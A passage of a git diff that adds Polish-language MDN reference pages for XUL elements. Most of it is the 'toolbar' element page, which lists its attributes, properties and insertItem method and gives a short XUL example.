+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/toolbar/index.html b/files/pl/mozilla/tech/xul/toolbar/index.html
new file mode 100644
index 0000000000..9bcc581a1b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/toolbar/index.html
@@ -0,0 +1,239 @@
+---
+title: toolbar
+slug: Mozilla/Tech/XUL/toolbar
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/toolbar
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener, który zazwyczaj składa się z wiersza przycisków. Jest to typ pudełka, które domyślnie posiada orientację poziomą swych elementów. Może zostać zwinięty za pomocą <code><a href="/pl/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code>, kiedy <code>toolbar</code> jest umieszczony wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>. Pasek narzędzi powinien zawsze posiadać atrybut <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>. Firefox obsługuje paski narzędzi użytkownika, natomiast przeglądarka Mozilla już tego nie potrafi.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Paski_narz%c4%99dzi">kursie XUL</a>. </p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-currentset">currentset</a>, <a href="#a-customindex">customindex</a>, <a href="#a-customizable">customizable</a>, <a href="#a-defaultset">defaultset</a>, <a href="#a-grippyhidden">grippyhidden</a>, <a href="#a-grippytooltiptext">grippytooltiptext</a>, <a href="#a-toolbarname">toolbarname</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accesible">accesible</a>, <a href="#p-currentSet">currentSet</a>, <a href="#p-firstPermanentChild">firstPermanentChild</a>, <a href="#p-lastPermanentChild">lastPermanentChild</a>, <a href="#p-toolbarName">toolbarName</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-insertItem">insertItem</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_toolbar.png"></div>
+<pre>&lt;toolbox&gt;
+ &lt;toolbar id="nav-toolbar"&gt;
+ &lt;toolbarbutton id="nav-users" accesskey="U" label="Users"/&gt;
+ &lt;toolbarbutton id="nav-groups" accesskey="p" label="Groups"/&gt;
+ &lt;toolbarbutton id="nav-events" accesskey="E" label="Events" disabled="true"/&gt;
+ &lt;/toolbar&gt;
+&lt;/toolbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p> </p><div id="a-currentset">
+
+<dl>
+ <dt>
+ <code id="a-currentset"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/currentset">currentset</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ łańcuch znaków oddzielony przecinkiem</i>
+ </dd>
+ <dd>
+ Aktualne ustawienia wyświetlanych pozycji na <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. Będą modyfikowane, gdy użytkownik przystosuje do własnych ustawień pasek narzędzi. Wartość tego atrybutu powinna być listą pozycji ID z <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code> oddzielonych przecinkiem lub dodatkowo w następujący sposób: "<code>separator</code>", "<code>spring</code>", "<code>spacer</code>".</dd>
+</dl>
+</div>
+<div id="a-customindex">
+
+<dl>
+ <dt>
+ <code id="a-customindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/customindex">customindex</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Ta wartość jest indeksem paska narzędzi <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code> w dostosowanej liście paska narzędzi. Ta wartość jest aktualizowana automatycznie przez okno dialogowe dostosowujące pasek narzędzi.</dd>
+</dl>
+</div>
+<div id="a-customizable">
+
+<dl>
+ <dt>
+ <code id="a-customizable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/customizable">customizable</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ustawia ten atrybut na <code>true</code> w paskach narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>), które mogą zostać dostosowane. Te ustawienie przycisków powoduje bycie trwałymi podczas sesji.</dd>
+</dl>
+</div>
+<div id="a-defaultset">
+
+<dl><dt> <code id="a-defaultset"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/defaultset">defaultset</a></code>
+</dt><dd> <b><span class="highlightred">Tylko Firefox</span></b>
+</dd><dd> Typ: <i>lista pozycji id oddzielona przecinkiem</i>
+</dd><dd> Domyślne ustawienie wyświetlanych pozycji na <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. To powinno być ustawione na listę pozycji ID oddzieloną przecinkiem pochodzącą z <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>. Na przykład, <code>back-button,forward-button,print-button</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-grippyhidden">
+
+<dl><dt> <code id="a-grippyhidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/grippyhidden">grippyhidden</a></code>
+</dt><dd> <b><span class="highlightred">Nie w Firefoksie</span></b>
+</dd><dd> Typ: <i>boolean</i>
+</dd><dd> Kiedy ustawiamy na <code>true</code>, grippy będzie ukryty. Kiedy ustawienie będzie na <code>false</code>, domyślnie, grippy będzie wyświetlony.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-grippytooltiptext">
+
+<dl><dt> <code id="a-grippytooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/grippytooltiptext">grippytooltiptext</a></code>
+</dt><dd> <b><span class="highlightred">Nie w Firefoksie</span></b>
+</dd><dd> Typ: <i>string</i>
+</dd><dd> Tekst do wyświetlenia w poradzie dla <code><a href="/pl/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code> paska narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>), w momencie gdy pasek narzędzi jest zwinięty. Zostanie on zastosowany do etykiety grippy, więc użytkownik wie, który pasek narzędzi jest reprezentowany.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-toolbarname">
+
+<dl>
+ <dt>
+ <code id="a-toolbarname"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/toolbarname">toolbarname</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko w Firefoksie</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Nazwa paska narzędzi <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, który jest na liście pasków narzędzi w menu, aby użyć paska zaznacz Pokaż/Ukryj.</dd>
+</dl>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-currentSet">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/currentSet">currentSet</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko w Firefoksie</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ lista łańcuchów znaków oddzielona przecinkami</i>
+ </dd>
+ <dd>
+ Trzyma aktualną listę ID pozycji oddzielonych przecinkiem na pasku narzędzi. Dla pustych przestrzeni, separatorów i elastycznych pustych przestrzeni stosowane są zamiast nich łańcuchy znaków będące unikalnymi identyfikatorami ID: "<code>spacer</code>", "<code>separator</code>", "<code>spring</code>". Pusty pasek narzędzi posiada wartość <code>currentSet</code> jaką jest <code>"__empty"</code>.</dd>
+</dl>
+<dl>
+ <dd>
+ Możemy zmienić aktualne ustawienia pozycji przez ustawienie własności. Bądź ostrożny, jak ustawiasz tą własność to automatycznie nie jest aktualizowany atrybut <code id="a-currentset"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/currentset">currentset</a></code>.</dd>
+</dl>
+</div>
+<div id="p-firstPermanentChild">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/firstPermanentChild">firstPermanentChild</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Pierwszy trwały element potomny paska narzędzi <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. Trwały potomek jest jedynym, który nie jest zdolny, aby się dostosować i zostać na pasku narzędzi. Pozycje, które są umieszczone bezpośrednio wewnątrz paska narzędzi bez bycia w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code> są trwałe.</dd>
+</dl></div>
+<div id="p-lastPermanentChild">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/lastPermanentChild">lastPermanentChild</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Ostatni trwały element potomny paska narzędzi. Trwały potomek jest jedynym, który nie jest zdolny, aby się dostosować i zostać na pasku narzędzi. Pozycje, które są umieszczone bezpośrednio wewnątrz paska narzędzi bez bycia w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code> są trwałe.</dd>
+</dl></div>
+<div id="p-toolbarName">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/toolbarName">toolbarName</a></span></code>
+</dt><dd> <b><span class="highlightred">Tylko Firefox</span></b>
+</dd><dd> Typ: <i>string</i>
+</dd><dd> Nazwa paska narzędzi.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><dl>
+ <dt><span id="m-insertItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/insertItem">insertItem( id, beforeNode, wrapper, beforePermanent )</a></code></span></dt>
+ <dd><strong><span class="highlightred">Tylko Firefox</span></strong></dd>
+ <dd>Zwraca typ:<em>element</em></dd>
+ <dd>Dodaje pozycję z danym <var>id</var> do paska narzędzi <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. Nowa pozycja jest dodawana tuż przed pozycja daną przez drugi argument. Jeśli drugi argument jest <code>null</code>, lecz argument <var>beforePermanent</var> jest <code>true</code>, to pozycja jest dodawana na początku paska narzędzi przed pierwszą stałą pozycję paska. Inaczej, jeśli argument <var>beforePermanent</var> jest <code>false</code>, nowa pozycja jest dodawana na koniec paska narzędzi. Trzeci argument możemy zastosować do <strong>wrap</strong> nowej pozycji w kolejnym elemencie. Zazwyczaj ostatni argument będzie typu <code>null</code> jako jego główny argument do zastosowania w oknie użytkownika.</dd>
+</dl>
+
+<p><var>id</var> powinno być dopasowane do elementu na pasku narzędzi <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>. Kilka określonych id mogą być stosowane do tworzenia specjalnych przestrzeni dla pozycji paska:</p>
+
+<ul>
+ <li><code>separator</code>: Rozdzielacz, który jest rysowany jako pionowy pasek.</li>
+ <li><code>spacer</code>: Nieelastyczna przestrzeń.</li>
+ <li><code>spring</code>: Elastyczna przestrzeń.</li>
+</ul>
+
+<p>Metoda zwraca element DOM dla tworzonej pozycji.</p>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, 